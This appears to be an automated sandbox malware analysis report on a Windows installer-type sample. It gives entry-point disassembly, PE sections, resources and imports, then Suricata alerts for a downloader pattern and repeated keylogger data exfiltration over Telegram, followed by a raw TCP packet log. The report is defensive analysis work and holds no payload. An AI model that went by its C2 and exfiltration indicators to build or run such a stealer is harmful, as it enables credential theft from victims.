sub esp, 000002D4h
push ebx
push esi
push edi
push 00000020h
pop edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+14h], ebx
mov dword ptr [esp+10h], 0040A230h
mov dword ptr [esp+1Ch], ebx
call dword ptr [004080ACh]
call dword ptr [004080A8h]
and eax, BFFFFFFFh
cmp ax, 00000006h
mov dword ptr [0042A24Ch], eax
je 00007F309919D453h
push ebx
call 00007F30991A071Dh
cmp eax, ebx
je 00007F309919D449h
push 00000C00h
call eax
mov esi, 004082B0h
push esi
call 00007F30991A0697h
push esi
call dword ptr [00408150h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], 00000000h
jne 00007F309919D42Ch
push 0000000Ah
call 00007F30991A06F0h
push 00000008h
call 00007F30991A06E9h
push 00000006h
mov dword ptr [0042A244h], eax
call 00007F30991A06DDh
cmp eax, ebx
je 00007F309919D451h
push 0000001Eh
call eax
test eax, eax
je 00007F309919D449h
or byte ptr [0042A24Fh], 00000040h
push ebp
call dword ptr [00408044h]
push ebx
call dword ptr [004082A0h]
mov dword ptr [0042A318h], eax
push ebx
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebx
push 004216E8h
call dword ptr [00408188h]
push 0040A384h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8504	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x55000	0x21068	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6409	0x6600	bfe2b726d49cbd922b87bad5eea65e61	False	0.6540287990196079	data	6.416186322230332	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x1396	0x1400	d45dcba8ca646543f7e339e20089687e	False	0.45234375	data	5.154907432640367	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x20358	0x600	8575fc5e872ca789611c386779287649	False	0.5026041666666666	data	4.004402321344153	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x2b000	0x2a000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x55000	0x21068	0x21200	03ed2ed76ba15352dac9e48819696134	False	0.8714696344339623	data	7.556190648348207	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_BITMAP	0x554c0	0x368	Device independent bitmap graphic, 96 x 16 x 4, image size 768	English	United States	0.23623853211009174
RT_ICON	0x55828	0xc2a3	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9966684729162903
RT_ICON	0x61ad0	0x86e0	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.990210843373494
RT_ICON	0x6a1b0	0x5085	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9867559307233299
RT_ICON	0x6f238	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.4358921161825726
RT_ICON	0x717e0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.4896810506566604
RT_ICON	0x72888	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.5367803837953091
RT_ICON	0x73730	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.6913357400722022
RT_ICON	0x73fd8	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	United States	0.38597560975609757
RT_ICON	0x74640	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.4934971098265896
RT_ICON	0x74ba8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.651595744680851
RT_ICON	0x75010	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.46908602150537637
RT_ICON	0x752f8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.5472972972972973
RT_DIALOG	0x75420	0x120	data	English	United States	0.53125
RT_DIALOG	0x75540	0x118	data	English	United States	0.5678571428571428
RT_DIALOG	0x75658	0x120	data	English	United States	0.5104166666666666
RT_DIALOG	0x75778	0xf8	data	English	United States	0.6330645161290323
RT_DIALOG	0x75870	0xa0	data	English	United States	0.6125
RT_DIALOG	0x75910	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x75970	0xae	data	English	United States	0.6091954022988506
RT_VERSION	0x75a20	0x308	data	English	United States	0.47036082474226804
RT_MANIFEST	0x75d28	0x33e	XML 1.0 document, ASCII text, with very long lines (830), with no line terminators	English	United States	0.5542168674698795

Imports

DLL	Import
KERNEL32.dll	ExitProcess, SetFileAttributesW, Sleep, GetTickCount, CreateFileW, GetFileSize, GetModuleFileNameW, GetCurrentProcess, SetCurrentDirectoryW, GetFileAttributesW, SetEnvironmentVariableW, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, GetVersion, SetErrorMode, lstrlenW, lstrcpynW, CopyFileW, GetShortPathNameW, GlobalLock, CreateThread, GetLastError, CreateDirectoryW, CreateProcessW, RemoveDirectoryW, lstrcmpiA, GetTempFileNameW, WriteFile, lstrcpyA, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, lstrcmpiW, MoveFileW, GetFullPathNameW, SetFileTime, SearchPathW, CompareFileTime, lstrcmpW, CloseHandle, ExpandEnvironmentStringsW, GlobalFree, GlobalUnlock, GetDiskFreeSpaceW, GlobalAlloc, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, lstrlenA, MulDiv, MultiByteToWideChar, WideCharToMultiByte, GetPrivateProfileStringW, WritePrivateProfileStringW, FreeLibrary, LoadLibraryExW, GetModuleHandleW
USER32.dll	GetSystemMenu, SetClassLongW, EnableMenuItem, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, ScreenToClient, GetWindowRect, GetDlgItem, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, GetDC, SetTimer, SetWindowTextW, LoadImageW, SetForegroundWindow, ShowWindow, IsWindow, SetWindowLongW, FindWindowExW, TrackPopupMenu, AppendMenuW, CreatePopupMenu, EndPaint, CreateDialogParamW, SendMessageTimeoutW, wsprintfW, PostQuitMessage
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, ShellExecuteExW, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, SHFileOperationW
ADVAPI32.dll	AdjustTokenPrivileges, RegCreateKeyExW, RegOpenKeyExW, SetFileSecurityW, OpenProcessToken, LookupPrivilegeValueW, RegEnumValueW, RegDeleteKeyW, RegDeleteValueW, RegCloseKey, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T21:25:12.948033+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49708	142.250.186.78	443	TCP
2025-01-10T21:25:26.788911+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.8	49711	158.101.44.242	80	TCP
2025-01-10T21:25:33.617012+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.8	49711	158.101.44.242	80	TCP
2025-01-10T21:25:34.243472+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49724	149.154.167.220	443	TCP
2025-01-10T21:25:36.607170+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49724	149.154.167.220	443	TCP
2025-01-10T21:25:38.007777+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.8	49745	158.101.44.242	80	TCP
2025-01-10T21:25:38.597069+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49751	149.154.167.220	443	TCP
2025-01-10T21:25:38.885501+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49751	149.154.167.220	443	TCP
2025-01-10T21:25:42.066599+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49778	149.154.167.220	443	TCP
2025-01-10T21:25:42.267307+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49778	149.154.167.220	443	TCP
2025-01-10T21:25:43.511266+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49785	149.154.167.220	443	TCP
2025-01-10T21:25:43.686228+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49785	149.154.167.220	443	TCP
2025-01-10T21:25:45.909104+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49802	149.154.167.220	443	TCP
2025-01-10T21:25:46.161082+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49802	149.154.167.220	443	TCP
2025-01-10T21:25:47.365103+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49814	149.154.167.220	443	TCP
2025-01-10T21:25:48.476323+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49814	149.154.167.220	443	TCP
2025-01-10T21:25:49.719264+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49826	149.154.167.220	443	TCP
2025-01-10T21:25:49.899223+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49826	149.154.167.220	443	TCP
2025-01-10T21:25:51.193548+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49838	149.154.167.220	443	TCP
2025-01-10T21:25:51.442796+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49838	149.154.167.220	443	TCP
2025-01-10T21:25:54.693478+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49862	149.154.167.220	443	TCP
2025-01-10T21:25:54.951438+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49862	149.154.167.220	443	TCP
2025-01-10T21:26:02.276649+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49913	149.154.167.220	443	TCP
2025-01-10T21:26:02.454225+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49913	149.154.167.220	443	TCP
2025-01-10T21:26:05.931191+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49939	149.154.167.220	443	TCP
2025-01-10T21:26:06.180000+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49939	149.154.167.220	443	TCP
2025-01-10T21:26:12.110863+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49981	149.154.167.220	443	TCP
2025-01-10T21:26:12.402659+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49981	149.154.167.220	443	TCP
2025-01-10T21:26:13.640645+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49992	149.154.167.220	443	TCP
2025-01-10T21:26:13.818735+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49992	149.154.167.220	443	TCP
2025-01-10T21:26:16.047903+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	50006	149.154.167.220	443	TCP
2025-01-10T21:26:16.222254+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	50006	149.154.167.220	443	TCP
2025-01-10T21:26:17.585743+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	50008	149.154.167.220	443	TCP
2025-01-10T21:26:17.759166+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	50008	149.154.167.220	443	TCP
2025-01-10T21:26:25.835431+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	50011	149.154.167.220	443	TCP
2025-01-10T21:26:26.089180+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	50011	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:25:11.866556883 CET	49708	443	192.168.2.8	142.250.186.78
Jan 10, 2025 21:25:11.866600037 CET	443	49708	142.250.186.78	192.168.2.8
Jan 10, 2025 21:25:11.866683006 CET	49708	443	192.168.2.8	142.250.186.78
Jan 10, 2025 21:25:11.897017002 CET	49708	443	192.168.2.8	142.250.186.78
Jan 10, 2025 21:25:11.897032022 CET	443	49708	142.250.186.78	192.168.2.8
Jan 10, 2025 21:25:12.558836937 CET	443	49708	142.250.186.78	192.168.2.8
Jan 10, 2025 21:25:12.558953047 CET	49708	443	192.168.2.8	142.250.186.78
Jan 10, 2025 21:25:12.560558081 CET	443	49708	142.250.186.78	192.168.2.8
Jan 10, 2025 21:25:12.560609102 CET	49708	443	192.168.2.8	142.250.186.78
Jan 10, 2025 21:25:12.624341965 CET	49708	443	192.168.2.8	142.250.186.78
Jan 10, 2025 21:25:12.624372959 CET	443	49708	142.250.186.78	192.168.2.8
Jan 10, 2025 21:25:12.624741077 CET	443	49708	142.250.186.78	192.168.2.8
Jan 10, 2025 21:25:12.624830961 CET	49708	443	192.168.2.8	142.250.186.78
Jan 10, 2025 21:25:12.628591061 CET	49708	443	192.168.2.8	142.250.186.78
Jan 10, 2025 21:25:12.671334028 CET	443	49708	142.250.186.78	192.168.2.8
Jan 10, 2025 21:25:12.947999001 CET	443	49708	142.250.186.78	192.168.2.8
Jan 10, 2025 21:25:12.948090076 CET	49708	443	192.168.2.8	142.250.186.78
Jan 10, 2025 21:25:12.948339939 CET	49708	443	192.168.2.8	142.250.186.78
Jan 10, 2025 21:25:12.948381901 CET	443	49708	142.250.186.78	192.168.2.8
Jan 10, 2025 21:25:12.948512077 CET	49708	443	192.168.2.8	142.250.186.78
Jan 10, 2025 21:25:12.990782976 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:12.990861893 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:12.990953922 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:12.991281986 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:12.991297007 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:13.677922964 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:13.678014040 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:13.684185028 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:13.684205055 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:13.684428930 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:13.684489965 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:13.691621065 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:13.735354900 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.290021896 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.290141106 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.295675993 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.295768023 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.309463024 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.309547901 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.309568882 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.309617996 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.317594051 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.317687035 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.382086992 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.382179976 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.382209063 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.382249117 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.382263899 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.382299900 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.382416010 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.382471085 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.382478952 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.382524967 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.385323048 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.385456085 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.385478020 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.385545969 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.391592026 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.391668081 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.391678095 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.391755104 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.397901058 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.398042917 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.398063898 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.398129940 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.404081106 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.404195070 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.404244900 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.404301882 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.410434961 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.410505056 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.410520077 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.410574913 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.416728973 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.416826010 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.416857004 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.416922092 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.422672987 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.422749043 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.422769070 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.422837973 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.428656101 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.428754091 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.428775072 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.428826094 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.434581995 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.434730053 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.434747934 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.434815884 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.440573931 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.440658092 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.451926947 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.452039003 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.452069044 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.452146053 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.474239111 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.474339962 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.474366903 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.474442005 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.474462986 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.474534988 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.474816084 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.474853992 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.474875927 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.474896908 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.474905014 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.474973917 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.475800037 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.475858927 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.475862026 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.475874901 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.475912094 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.475950003 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.476473093 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.476541996 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.477415085 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.477484941 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.481863022 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.481929064 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.481952906 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.482012987 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.486994028 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.487106085 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.487127066 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.487194061 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.491956949 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.492008924 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.492019892 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.492063999 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.496490002 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.496581078 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.496611118 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.496666908 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.501127958 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.501210928 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.501243114 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.501307011 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.505778074 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.505868912 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.505899906 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.505965948 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.510391951 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.510468960 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.510499001 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.510590076 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.515105009 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.515182972 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.515208960 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.515261889 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.519726992 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.519823074 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.519848108 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.519906044 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.524044991 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.524286985 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.524355888 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.524452925 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.528405905 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.528475046 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.528516054 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.528526068 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.528542995 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.528583050 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.528667927 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:16.528718948 CET	443	49710	216.58.206.33	192.168.2.8
Jan 10, 2025 21:25:16.528775930 CET	49710	443	192.168.2.8	216.58.206.33
Jan 10, 2025 21:25:18.418550968 CET	49711	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:18.423367977 CET	80	49711	158.101.44.242	192.168.2.8
Jan 10, 2025 21:25:18.423458099 CET	49711	80	192.168.2.8	158.101.44.242
Jan 10, 2025 21:25:18.423686981 CET	49711	80	192.168.2.8	158.101.44.242
